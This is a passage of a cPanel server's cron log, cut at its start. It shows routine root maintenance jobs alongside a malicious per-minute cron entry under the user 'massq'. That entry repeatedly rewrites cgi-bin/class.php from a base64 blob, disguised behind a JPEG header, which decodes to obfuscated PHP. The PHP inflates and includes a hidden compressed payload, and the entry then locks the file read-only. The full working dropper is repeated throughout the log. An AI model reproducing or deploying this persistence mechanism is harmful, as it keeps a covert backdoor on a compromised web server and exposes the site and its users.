J5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:32:01 server CROND[29663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:32:01 server CROND[29664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:32:01 server CROND[29665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:33:01 server CROND[30065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:33:01 server CROND[30066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:33:01 server CROND[30067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:34:01 server CROND[30452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:34:01 server CROND[30454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:34:01 server CROND[30453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:35:02 server CROND[30857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:35:02 server CROND[30864]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:35:02 server CROND[30866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:35:02 server CROND[30865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:35:02 server CROND[30867]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:35:02 server CROND[30874]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 10:35:02 server CROND[30869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:35:02 server CROND[30870]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:35:02 server CROND[30871]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 10:36:01 server CROND[31696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:36:01 server CROND[31697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:36:01 server CROND[31698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:37:01 server CROND[32178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:37:01 server CROND[32179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:37:01 server CROND[32180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:38:01 server CROND[32567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:38:01 server CROND[32568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:38:01 server CROND[32569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:39:01 server CROND[503]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 10:39:01 server CROND[504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:39:01 server CROND[502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:39:01 server CROND[505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:40:01 server CROND[926]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:40:01 server CROND[927]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:40:01 server CROND[930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:40:01 server CROND[933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:40:01 server CROND[934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:40:01 server CROND[935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:40:01 server CROND[931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:40:01 server CROND[932]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:41:01 server CROND[1900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:41:01 server CROND[1899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:41:01 server CROND[1901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:42:01 server CROND[2319]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 10:42:01 server CROND[2318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:42:01 server CROND[2317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:42:01 server CROND[2321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:43:01 server CROND[2841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:43:01 server CROND[2842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:43:01 server CROND[2843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
